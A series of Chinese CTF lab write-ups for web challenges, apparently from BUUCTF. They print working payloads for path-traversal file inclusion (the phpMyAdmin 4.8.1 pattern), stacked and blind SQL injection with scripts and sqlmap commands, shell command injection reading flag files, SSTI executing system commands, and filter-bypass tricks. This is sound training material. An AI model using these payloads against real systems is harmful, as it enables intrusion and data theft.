warm up (HCTF2018)
漏洞名称:
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
查看源码,source.php,进去看到源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can\'t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can\'t see it";
return false;
}
}
if (! empty($_REQUEST[\'file\'])
&& is_string($_REQUEST[\'file\'])
&& emmm::checkFile($_REQUEST[\'file\'])
) {
include $_REQUEST[\'file\'];
exit;
} else {
echo "<br><img src=\\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\\" />";
}
?>
分段来看
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can\'t see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
首先是白名单,提交的page中要是白名单内的。
$_page = mb_substr(
$page,
0,
mb_strpos($page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . \'?\', \'?\')
);
if (in_array($_page, $whitelist)) {
return true;
}
1、是page取?前作为_page再判断是否属于白名单
2、url解密一次
3、再取?前再判断一次
hint.php说在ffffllllaaaagggg.php,穿越目录读取
这里用?两次url编码,就可以绕过urldecode
这便符合了 ? 前面内容在白名单里会返回 true,会被包含,通过目录穿越就会造成任意文件包含漏洞
payload ?file=source.php%253f../../../../../../../../ffffllllaaaagggg
两个source.php就绕过了两个白名单检测。
至于多少个../就一个个试过去
随便注 [强网杯 2019]
单引号报错,从这是注入点
order by 3报错,最多两列
尝试union select ,屏蔽了这些关键词,尝试双写绕过,没有变化。
这是想到堆叠注入。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ;结束一个sql语句后继续构造下一条语句,会不会一起执行?
因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
这里有两个疑似的数据库,我想use ctftraining但是用不了。show tables还是原本的表。
1\';show columns from ``1919810931114514``;#
贴一个大佬的payload:
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1\';rename tables words to words1;rename tables 1919810931114514 to words; alter table words change flag id varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id然后用1\' or 1=1 #得到flag
这里原本的select语句应该是 select * from words where id=\' \';
[护网杯 2018]easy_tornado
看到三个文件,flag.txt welcome.txt hint.txt
hint.txt内
md5(cookie_secret+md5(filename))
welcome.txt内
render
/flag.txt
flag in /fllllllllllllag
查一下,render是一个类似模板的东西,可以使用不同的参数来访问网页。
那么我们在进行该题目的操作时,其实参数也是传递过来的,那么是什么参数呢。
尝试访问/fllllllllllllag,跳转到url:error?msg=Error
参考iamsongyu
在tornado模板中,存在一些可以访问的快速对象,例如
<title> {{ escape(handler.settings["cookie"]) }} </title>
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
用php跑一下
<?php
$a=md5(\'1dfc6ae5-8d93-48c8-9c27-d3bec46afe2c\'.md5(\'/fllllllllllllag\'));
echo $a;
?>
出结果370f2da981e9f4a193309c505c60375c
然后就可以访问得到flag
[SUCTF 2019]EasySQL
1、堆叠注入
2、逻辑
select $_POST[query] || flag from flag
预期解:通过堆叠注入,设置sql_mode的值为PIPES_AS_CONCAT,从而将||视为字符串的连接操作符而不是或运算符。
所以payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
非预期解
select *,1 || flag from flag
[HCTF 2018]admin
知识点:unicode欺骗
参考文章:https://blog.csdn.net/pop364/article/details/105021669
这题挺绕的,题目明显提示login as admin,开始以为是普通注入,结果不行。
在change password界面有源码地址
(https://github.com/woadsl1234/hctf_flask/)
找到routes.py
有一个关于session[‘name’]的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,可能有点猫腻,于是找到strlower函数的定义,在最下面
def strlower(username):
username = nodeprep.prepare(username)
return username
百度查不到多少关于Nodeprep.prepare这个函数的信息,只能查大佬们的wp
这里用到了nodeprep.prepare函数,而nodeprep是从twisted模块中导入的from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,在requirements.txt文件中,发现这里用到的twisted版本是Twisted==10.2.0,而官网最新版本为19.2.0(2019/6/2)
利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。
所以当我们用ᴬdmin注册的话,后台代码调用一次nodeprep.prepare函数,把用户名转换成Admin,我们用ᴬdmin进行登录,可以看到index页面的username变成了Admin,证实了我们的猜想,接下来我们就想办法让服务器再调用一次nodeprep.prepare函数即可
发现在改密码函数代码里,也用到了nodeprep.prepare函数,也就是说,我们在这里改密码的话,先会把username改为Admin,从而改掉Admin的密码
转换过程:ᴬᴰᴹᴵᴺ -> ADMIN -> admin
在找这些文字时找到一个脚本可以用
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode(\'idna\').decode(\'utf-8\')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
[RoarCTF 2019]Easy Calc
代码里面有一个calc.php,访问
<?php
error_reporting(0);
if(!isset($_GET[\'num\'])){
show_source(__FILE__);
}else{
$str = $_GET[\'num\'];
$blacklist = [\' \', \'\\t\', \'\\r\', \'\\n\',\'\\\'\', \'"\', \'`\', \'\\[\', \'\\]\',\'\\$\',\'\\\\\',\'\\^\'];
foreach ($blacklist as $blackitem) {
if (preg_match(\'/\' . $blackitem . \'/m\', $str)) {
die("what are you want to do?");
}
}
eval(\'echo \'.$str.\';\');
}
?>
过滤黑名单,不许有空格,双引号,反引号,和一些转义的东西。
测试提交发现不能提交字母,估计是后台把对num判断只能是数字。
知识点:http走私攻击,PHP字符串解析特性
在num前加个空格,waf就找不到num这个变量了,之后再GET进行解析,得到num。
payload:
? num=1;var_dump(scandir(chr(47)))
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) /flagg
))
知识点链接(https://www.freebuf.com/articles/web/213359.html)
[极客大挑战 2019]EasySQL
万能密码,在哪都行
[极客大挑战 2019]Havefun
F12,最下面的代码
[强网杯 2019]高明的黑客
脚本有点复杂,大概意思是搜索所有文件里面的GET请求和POST请求,找到能用的。输出出来。但是我参考网上大佬的脚本都失败了,应该是自己的问题。就参考学习别人的脚本吧,自己的写脚本能力有待加强。
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目首先告诉了是select flag from flag
提交1,2分别可以看到查询到了东西,测试1\' or 1=1# 显示sql inject 看来是过滤了一些东西
在测试过程中,发现从第二个开始才会检测,第一个输入1+空格是检测到了,但是直接输入空格是没有sql inject
那就写一个常用的sql关键词,比如select,union,函数,符号等测试有没有被过滤。
注意在写txt的时候,每个关键词前加个空格或者1。
看response就知道482的是被过滤了。
就可以写注入语句了。有两种思路
if(ascii(substr((select(flag)from(flag)),1,1))=ascii(\'f\'),1,2)
还有一种是用异或
0^(if(ascii(substr((select(flag)from(flag)),1,1))=ascii(\'f\'),1,2))
意义是一样的,这里刚好可以不用异或,如果是搜索其他的东西的时候,用异或可以解决一些问题。
最垃圾的脚本贴一下,这里可以用二分搜索法或者break while等语句缩短时间。
import requests
url=\'http://0e762904-67b0-4640-9aa8-912c70f161bc.node3.buuoj.cn/\'
flag=\'\'
for i in range(29,50):
for j in range(32,126):
payload="if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)".format(i,j)
data={
"id":payload
}
response=requests.post(url,data=data)
if \'Hello\' in response.text:
flag+=chr(j)
print(flag)
[极客大挑战 2019]Secret File
看源代码,一个php,跳转到另外一个php,burp抓包,看到secr3t.php,进去有源代码,直接访问flag.php没有
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET[\'file\'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
payload:
file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]PHP
我记得当初做的时候是扫到了这个后台的,不知道为什么现在又没扫到
<?php
include \'flag.php\';
class Name{
private $username = \'nonono\';
private $password = \'yesyes\';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = \'guest\';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === \'admin\') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can\'t give you the flag!";
die();
}
}
}
?>
一目了然,绕过wakeup和private反序列化。
参考文章:https://xz.aliyun.com/t/6454
[极客大挑战 2019]Knife
蚁剑连,根目录
[极客大挑战 2019]LoveSQL
进去,看到上面提示说,用sqlmap,那就用。
burp抓包,保存为txt丢到kali里面
用sqlmap,payload如下
sqlmap -r /root/桌面/1.txt -dbs
sqlmap -r /root/桌面/1.txt -D geek --tables
sqlmap -r /root/桌面/1.txt -D geek -T lovelysql --schema
sqlmap -r /root/桌面/1.txt -D geek -T lovelysql -s password --dump
[极客大挑战 2019]Http
源代码,有个secret.php,进去看到说not come from ...,然后就基本题一点一点往后做
[GXYCTF2019]Ping Ping Ping
提示已经很明显了,linux管道命令执行。
?ip=127.0.0.1||ls
发现这个没有过滤。直接出现了flag.php 和index.php。
尝试?ip=127.0.0.1||cat flag.php
fuck you space,过滤空格
?ip=127.0.0.1||cat$IFSflag.php
fuck you flag,把flag给过滤了。
那我们先把index.php看一看
?ip=127.0.0.1||cat$IFS$1index.php
备注:这里问了王叹之大佬,他说:“空格绕过一半是:(IFS、)、$IFS$ 一位数字,这里我用的是1”
|\\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match)){
echo preg_match("/\\&|\\/|\\?|\\*|\\<|[\\x{00}-\\x{20}]|\\>|\\\'|\\"|\\\\|\\(|\\)|\\[|\\]|\\{|\\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这里有个要注意的 preg_match("/.*f.*l.*a.*g.*/", $ip)
. 匹配除空格外任意字符
*贪婪匹配前面的字符
这里的话,就比如**f***l**a**g***,形如这种的都会被过滤,还有就是fl**这种
过滤了一些字符,空格,bash,flag的贪婪匹配。
假设没有这些过滤我们有什么办法呢?
拼接flag,||a=fl;b=ag.php;cat $a$b
内联执行 ``反引号 echo “als
”
文章:[https://blog.csdn.net/silence1_/article/details/96135760]
payload:?ip=127.0.0.1||a=ag.php;b=fl;cat$IFS$1$b$a
[ACTF2020 新生赛]Include
payload:file=php://filter/read=convert.base64-encode/resource=flag.php
[极客大挑战 2019]BuyFlag
~~~post money and password~~~
if (isset($_POST[\'password\'])) {
$password = $_POST[\'password\'];
if (is_numeric($password)) {
echo "password can\'t be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
404%00绕过is_numeric,然后传入money,这里提示长度过长,不能是8位。
这里猜测是将传入的money与1000000对比,如果相等,则返回flag
$money=$_POST[\'money\'];
if(!strcmp($money,\'1000000\')){
echo $flag;
}
用数组绕过 money[]=1;
[ZJCTF 2019]NiZhuanSiWei
和bugku里面那题一模一样,但是我这不知道为什么用php://input伪协议过不了,只能用data://伪协议
[ACTF2020 新生赛]Exec
最基础的命令执行漏洞。
127.0.0.1|ls ../ 一层一层向上搜
在最前面有flag
payload 127.0.0.1|cat ../../../flag
[De1CTF 2019]SSRF Me
进去,有源码。格式化的很难受。
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding(\'latin1\')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):#python得构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数
result = {}
result[\'code\'] = 500
if (self.checkSign()): #第一个测试的地方,checksign函数
if "scan" in self.action: #action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, \'w\')
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"):
result[\'data\'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result[\'code\'] = 200
if "read" in self.action: #action要加read
f = open("./%s/result.txt" % self.sandbox, \'r\')
result[\'code\'] = 200
result[\'data\'] = f.read() #读取
if result[\'code\'] == 500:
result[\'data\'] = "Action Error"
else:
result[\'code\'] = 500
result[\'msg\'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #!!!校验
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=[\'GET\', \'POST\']) # 这个页面用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", "")) #get一个param
action = "scan"
return getSign(action, param) #得到数据
@app.route(\'/De1ta\',methods=[\'GET\',\'POST\'])#这个路由是我萌得最终注入点
def challenge():
action = urllib.unquote(request.cookies.get("action")) #这个是cookie
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign")) #cookie
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建类
return json.dumps(task.Exec()) #调用函数
@app.route(\'/\')#根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()
def scan(param):#这是用来扫目录得函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#这个waf比较没用好像
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == \'__main__\':
app.debug = False
app.run(host=\'0.0.0.0\')
大概顺序是在De1ta页面,get方式传输flag.txt,然后cookie里面的数据满足那个几个函数,使其return ture。让Exec()正常运行。
第一个:if (self.checkSign()): #第一个测试的地方,checksign函数
def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #!!!校验
return True
else:
return False
def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key + param + action).hexdigest()
@app.route("/geneSign", methods=[\'GET\', \'POST\']) # 这个页面用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", "")) #get一个param
action = "scan"
return getSign(action, param) #得到数据
前半部分,getSign(self.action, self.param),返回的是getSign(secert_key + \'我们get方式传输的param\'+\'我们传输的action\')
后半部分,要让我们传输的self.sign==getSign(),有个GeneSign页面,get到一个数据,返回 getSign(secert_key + \'我们get方式传输的数据\' + scan)
还有一个地方要注意,就是前面说,action里面必须要有read和scan,但是这里第二个固定是scan了,所以,我们在前半部分,param=flag.txt。后半部分是param=flag.txtread。传输的action是readscan。
步骤1:
步骤2:
http://0887f4e6-ba6c-4009-a883-f9d37713f8b3.node3.buuoj.cn/De1ta?param=flag.txt
步骤3:
burp抓包改cookie。原本hackbar应该也是可以发的,但是我这里一直不行不知道为什么。就算了。
[RoarCTF 2019]Easy Java
第三次遇到java和tomcat的知识
进去,看到是一个登录框,尝试注入,无果。
有个help的链接,看到了熟悉的文件下载。
随便看看报错信息,发现这是tomcat。就知道去下载WEB-INF/web.xml。
但是这里出了点问题,看了师傅的操作
这里要在下面有post一个filename的变量,不需要什么内容,内容在url上就行了
post filename。先下载下来WEB-INF/web.xml。
Download?filename=WEB-INF/web.xml
里面的关键数据
<servlet-class>com.wm.ctf.FlagController</servlet-class>
servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
直接访问/Flag,报错,相信出题人也不会那么傻。
最后再下载WEB-INF/classes/com/wm/ctf/FlagController.class
文件提醒很近了,然后又有个base64。解码得到flag.
[BJDCTF2020]Easy MD5
进去抓包看到有个Hint: select * from \'admin\' where password=md5($pass,true)
提供一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:\'or\'6。
到第二关,两个弱相等,找0e.
第三关,param1[]=1¶m2[]=2。数组绕过,sha1也可以这样。
[BJDCTF 2nd]old-hack
进去,看到是thinkphp5框架,其他尝试,没什么线索。
Thinkphp5远程命令执行漏洞:
漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST[\'_method\']来传递真实的请求方法。
但由于框架没有对参数进行验证,导致攻击者可以设置$_POST[\'_method\']=\'__construct\'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
先构造thinkphp5的报错,
http://92d387ab-6541-4731-b6d5-492624ef1c3d.node3.buuoj.cn/index.php?s=1
可以看到版本是5.0.23
使用kali2020自带的searchsploit
cat /usr/share/exploitdb/exploits/php/webapps/46150.txt
这里有两个,我选择的下面那个
出现了回显
然后就ls ../一层一层往上找,找到最上面有个flag, cat一下就可以了
[GXYCTF2019]禁止套娃
用githack扫描,得到.git文件
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET[\'exp\'])){
if (!preg_match(\'/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i\', $_GET[\'exp\'])) {
if(\';\' === preg_replace(\'/[a-z,_]+\\((?R)?\\)/\', NULL, $_GET[\'exp\'])) {
if (!preg_match(\'/et|na|info|dec|bin|hex|oct|pi|log/i\', $_GET[\'exp\'])) {
// echo $_GET[\'exp\'];
@eval($_GET[\'exp\']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
echo \'hello\';
}}
?>
一行行看下去
if (!preg_match(\'/data:\\/\\/|filter:\\/\\/|php:\\/\\/|phar:\\/\\//i\', $_GET[\'exp\'])) {
1、过滤了data filter 读取源码的伪协议
if(\';\' === preg_replace(\'/[a-z,_]+\\((?R)?\\)/\', NULL, $_GET[\'exp\']))
2、函数的参数只能是无参数
if (!preg_match(\'/et|na|info|dec|bin|hex|oct|pi|log/i\', $_GET[\'exp\'])) {
3、过滤了一些函数,例如file_get_contents就不能用,以为get里面有et
方法一:
考虑读源码,因为已经知道在flag.php里面了
print_r(scandir(\'.\'));
我们知道中间是不能有参数的。那有什么函数是一个点呢。
积累知识:
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
print_r(scandir(current(localeconv())));
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
那我们知道flag.php,但是又不能写到参数里面。
https://www.w3school.com.cn/php/php_ref_array.asp,这里面有一些对数组操作的函数
array_rand() 返回数组中一个或多个随机的键。//如果有15个键的话则会随机返回0-14中的一个数字
array_reverse() 以相反的顺序返回数组。
end() 将数组的内部指针指向最后一个元素。
next() 将数组中的内部指针向前移动一位。
current() 返回数组中的当前元素。
prev() 将数组的内部指针倒回一位。
array_flip() 交换数组中的键和值。
flag.php在倒数第二个,我们可以先反转,再next读取。也可以用array_flip交换键值之后,用array_rand读取一个。
print_r(next(array_reverse(scandir(current(localeconv())))));
print_r(array_rand(array_flip(scandir(current(localeconv())))));
就可以返回flag.php,最后一步,如何读取文件
highlight_file()和show_source();
方法二:
涨知识了。
参考:https://www.cnblogs.com/wangtanzhi/p/12260986.html
[ASIS 2019]Unicorn shop
之前那个是视觉欺骗,现在这个是字符替换(?)
https://xz.aliyun.com/t/5402#toc-0
https://www.compart.com/en/unicode/
[GYCTF2020]Blacklist
堆叠注入,找到FlagHere表。过滤了很多,官方wp是:
1\';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
搜了一些东西,感觉很奇怪
handler table_name open;
read;
close;
自己测试,只有read frist 和 next
last prev这些不行。不太明白怎么用,之后如果有遇到再进行总结。
[SWPU2019]Web1
知识点:无列名注入
看到输入框就想着注入,没东西,注册进去。发送广告,我还以为是xss,
测试
xss测试是可以的,但是在第一个框里面,有sql报错。
参考大佬,写的很详细
https://www.cnblogs.com/wangtanzhi/p/12241499.html
[BJDCTF2020]Mark loves cat
<?php
include \'flag.php\';
$yds = "dog";
$is = "cat";
$handsome = \'yds\';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET[\'flag\'] === $x && $x !== \'flag\'){ ////GET方式传flag只能传一个flag,不能同时是flag
exit($handsome);
}
}
if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){ //GET和POST其中之一必须传flag
exit($yds);
}
if($_POST[\'flag\'] === \'flag\' || $_GET[\'flag\'] === \'flag\'){ //GET和POST传flag,必须不能是flag=flag
exit($is);
}
echo "the flag is: ".$flag;
先看这一句,
foreach($_GET as $x => $y){
$$x = $$y; // 如果$y =flag 那么$$y=就是$flag 就达到我们想要的
}
先确定 $y->flag $x 是我们需要die 的变量名字
再看这一句
if(!isset($_GET[\'flag\']) && !isset($_POST[\'flag\'])){ //GET和POST其中之一必须传flag
exit($yds);
}
那我们随便post flag=flag 就行了
payload:get yds=flag post flag=flag
[GWCTF 2019]我有一个数据库
知识点:
https://www.jianshu.com/p/0d75017c154f
dirsearch 扫到phpmyadmin,查看对应版本,搜索phpmyadmin 4.8.1 漏洞
poc 直接打 ?target=db_sql.php%253f/../../../../../../../../flag
[BJDCTF2020]The mystery of ip
hint.php 里面有一句话:Do you know why i know your ip?
可以通过改XFF或者Cliet-IP,修改ip地址。
burp抓包,Client-IP:123,回显是123。
里面存在SSTI漏洞,Client-IP:123{{7*7}},回显12349.
payload:Client-IP:123{{system("cat /flag")}}